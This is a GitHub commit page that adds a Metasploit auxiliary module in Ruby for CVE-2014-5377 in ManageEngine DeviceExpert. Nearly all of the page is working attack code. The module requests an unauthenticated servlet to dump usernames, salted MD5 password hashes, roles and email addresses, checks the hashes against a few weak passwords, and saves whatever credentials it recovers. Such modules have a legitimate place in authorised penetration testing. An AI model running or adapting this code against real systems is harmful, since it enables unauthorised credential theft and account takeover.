Skip to content

Commit 9e54063

Browse files
committed
Add module for CVE-2014-5377 ManageEngine DeviceExpert User Credentials
2 parents 6e2d297 + 5f6e845 commit 9e54063

File tree

1 file changed

+170
-0
lines changed

1 file changed

+170
-0
lines changed
Lines changed: 170 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,170 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
include Msf::Auxiliary::Report
10+
include Msf::Auxiliary::Scanner
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(
15+
info,
16+
'Name' => 'ManageEngine DeviceExpert User Credentials',
17+
'Description' => %q{
18+
This module extracts usernames and salted MD5 password hashes
19+
from ManageEngine DeviceExpert version 5.9 build 5980 and prior.
20+
21+
This module has been tested successfully on DeviceExpert
22+
version 5.9.7 build 5970.
23+
},
24+
'License' => MSF_LICENSE,
25+
'Author' =>
26+
[
27+
'Pedro Ribeiro <pedrib[at]gmail.com>', # Discovery and exploit
28+
'Brendan Coles <bcoles[at]gmail.com>' # msf
29+
],
30+
'References' =>
31+
[
32+
['EDB', '34449'],
33+
['OSVBD', '110522'],
34+
['CVE', '2014-5377']
35+
],
36+
'DisclosureDate' => 'Aug 28 2014'))
37+
register_options(
38+
[
39+
Opt::RPORT(6060),
40+
OptBool.new('SSL', [true, 'Use SSL', true])
41+
], self.class)
42+
deregister_options('RHOST')
43+
end
44+
45+
def check
46+
get_users ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
47+
end
48+
49+
def get_users
50+
users = nil
51+
vprint_status("#{peer} - Reading users from master...")
52+
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'ReadUsersFromMasterServlet'))
53+
if !res
54+
vprint_error("#{peer} - Connection failed")
55+
elsif res.code == 404
56+
vprint_error("#{peer} - Could not find 'ReadUsersFromMasterServlet'")
57+
elsif res.code == 200 && res.body =~ /<discoverydata>(.+)<\/discoverydata>/
58+
users = res.body.scan(/<discoverydata>(.*?)<\/discoverydata>/)
59+
vprint_good("#{peer} - Found #{users.length} users")
60+
else
61+
vprint_error("#{peer} - Could not find any users")
62+
end
63+
users
64+
end
65+
66+
def parse_user_data(user)
67+
return if user.nil?
68+
username = user.scan(/<username>([^<]+)</).flatten.first
69+
encoded_hash = user.scan(/<password>([^<]+)</).flatten.first
70+
role = user.scan(/<userrole>([^<]+)</).flatten.first
71+
mail = user.scan(/<emailid>([^<]+)</).flatten.first
72+
salt = user.scan(/<saltvalue>([^<]+)</).flatten.first
73+
hash = Rex::Text.decode_base64(encoded_hash).unpack('H*').flatten.first
74+
pass = nil
75+
['12345', 'admin', 'password', username].each do |weak_password|
76+
if hash == Rex::Text.md5(weak_password + salt)
77+
pass = weak_password
78+
break
79+
end
80+
end
81+
[username, pass, hash, role, mail, salt]
82+
end
83+
84+
def run_host(ip)
85+
users = get_users
86+
return if users.nil?
87+
88+
service_data = {
89+
address: rhost,
90+
port: rport,
91+
service_name: (ssl ? 'https' : 'http'),
92+
protocol: 'tcp',
93+
workspace_id: myworkspace_id
94+
}
95+
96+
cred_table = Rex::Ui::Text::Table.new(
97+
'Header' => 'ManageEngine DeviceExpert User Credentials',
98+
'Indent' => 1,
99+
'Columns' =>
100+
[
101+
'Username',
102+
'Password',
103+
'Password Hash',
104+
'Role',
105+
'E-mail',
106+
'Password Salt'
107+
]
108+
)
109+
110+
vprint_status("#{peer} - Parsing user data...")
111+
users.each do |user|
112+
record = parse_user_data(user.to_s)
113+
next if record.join.empty?
114+
115+
user = record[0]
116+
pass = record[1]
117+
hash = record[2]
118+
role = record[3]
119+
mail = record[4]
120+
salt = record[5]
121+
122+
cred_table << [user, pass, hash, role, mail, salt]
123+
124+
if pass
125+
print_status("#{peer} - Found weak credentials (#{user}:#{pass})")
126+
credential_data = {
127+
origin_type: :service,
128+
module_fullname: self.fullname,
129+
private_type: :password,
130+
private_data: pass,
131+
username: user
132+
}
133+
else
134+
credential_data = {
135+
origin_type: :service,
136+
module_fullname: self.fullname,
137+
private_type: :nonreplayable_hash,
138+
private_data: "#{salt}:#{hash}",
139+
username: user
140+
}
141+
end
142+
143+
credential_data.merge!(service_data)
144+
credential_core = create_credential(credential_data)
145+
login_data = {
146+
core: credential_core,
147+
access_level: role,
148+
status: Metasploit::Model::Login::Status::UNTRIED
149+
}
150+
login_data.merge!(service_data)
151+
create_credential_login(login_data)
152+
153+
end
154+
155+
print_line
156+
print_line("#{cred_table}")
157+
loot_name = 'manageengine.deviceexpert.user.creds'
158+
loot_type = 'text/csv'
159+
loot_filename = 'manageengine_deviceexpert_user_creds.csv'
160+
loot_desc = 'ManageEngine DeviceExpert User Credentials'
161+
p = store_loot(
162+
loot_name,
163+
loot_type,
164+
rhost,
165+
cred_table.to_csv,
166+
loot_filename,
167+
loot_desc)
168+
print_status "Credentials saved in: #{p}"
169+
end
170+
end

0 commit comments

Comments
 (0)